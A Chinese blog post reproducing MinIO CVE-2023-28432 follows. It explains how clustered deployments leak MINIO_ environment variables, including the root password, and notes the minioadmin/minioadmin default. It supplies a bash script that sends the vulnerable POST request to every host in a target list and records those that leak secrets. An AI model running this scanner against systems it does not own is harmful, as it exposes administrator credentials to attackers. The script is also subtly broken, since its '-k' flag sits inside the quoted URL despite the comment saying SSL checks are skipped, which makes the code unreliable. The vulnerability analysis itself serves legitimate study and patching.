MinIO信息泄露漏洞(CVE-2023-28432)批量检测POC

文章目录

  • 概述
  • 影响范围
  • 相关漏洞代码
  • POC
  • 参考

吸取上次复现漏洞的教训……

概述

MinIO 是一种开源对象存储服务,与 Amazon S3 API 兼容,可用于私有云或公共云。MinIO是一种高性能、高可用的分布式存储系统,可以存储大量数据,并提供高速的数据读写能力。MinIO采用分布式架构,可以在多个节点上运行,实现数据的分布式存储和处理。
在集群部署的Minio中,未授权的攻击者可发送恶意的HTTP请求来获取Minio环境变量中的敏感信息(MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD),可能导致攻击者以管理员权限登录Minio。

影响范围

漏洞利用的前提是使用分布式部署
RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z

相关漏洞代码

// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
  ctx := newContext(r, w, "VerifyHandler")
  cfg := getServerSystemCfg()
  logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
 
// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
  envs := env.List("MINIO_")
  envValues := make(map[string]string, len(envs))
  for _, envK := range envs {
    // skip certain environment variables as part
    // of the whitelist and could be configured
    // differently on each nodes, update skipEnvs()
    // map if there are such environment values
    if _, ok := skipEnvs[envK]; ok {
      continue
    }
    envValues[envK] = env.Get(envK, "")
  }
  return ServerSystemConfig{
    MinioEndpoints: globalEndpoints,
    MinioEnv:       envValues,
  }
}

VerifyHandler 函数中调用了 getServerSystemCfg() 函数,该函数返回了 ServerSystemConfig 结构体,其中包含了环境变量 MINIO_ 的键值对。由于环境变量是全局可见的,因此会将账号打印出来 。为什么环境变量中会包含账号密码信息呢?因为根据官方的启动说明,在MinIO在启动时会从环境变量中读取用户预设的管理员账号和密码,如果省略则默认账号密码为minioadmin/minioadmin。

POC

批量检测POC,bash脚本,注意赋权

#!/bin/bash
# Author : whgojp
# Enable colors
GREEN='\033[0;32m'
NC='\033[0m'

count=0

while read -r line; do
  ((count++))

  response=$(curl -s -XPOST "$line/minio/bootstrap/v1/verify -k" --connect-timeout 3)	#修改一下 这里加了-k 忽略对 SSL 证书验证
  if echo "$response" | grep -q "MinioEnv"; then		#匹配关键词
    printf "${GREEN}[!] ${line}${NC}:is Vulnerable!!!\n"
    echo "$line" >> result.txt
  else
    printf "[+] (${count}/$(wc -l < MinIO.txt)) Scanning: ${line}\n"
  fi
done < MinIO.txt

MinIO信息泄露漏洞(CVE-2023-28432)批量检测POC_第1张图片
当然还有其他版本批量检测POC
CVE-2023-28432 nuclei templates
https://github.com/MzzdToT/CVE-2023-28432/blob/main/minio.py

检测效果;
MinIO信息泄露漏洞(CVE-2023-28432)批量检测POC_第2张图片
手动检测:
MinIO信息泄露漏洞(CVE-2023-28432)批量检测POC_第3张图片MinIO信息泄露漏洞(CVE-2023-28432)批量检测POC_第4张图片
Burp手动测试的时候记得改POST发包

使用Goby红队版可以直接检测该漏洞

参考

https://aq.mk/index.php/archives/142.html
https://www.gksec.com/MinIO_RCE.html
https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

你可能感兴趣的:(#,漏洞复现,MInIO,bash,网络安全)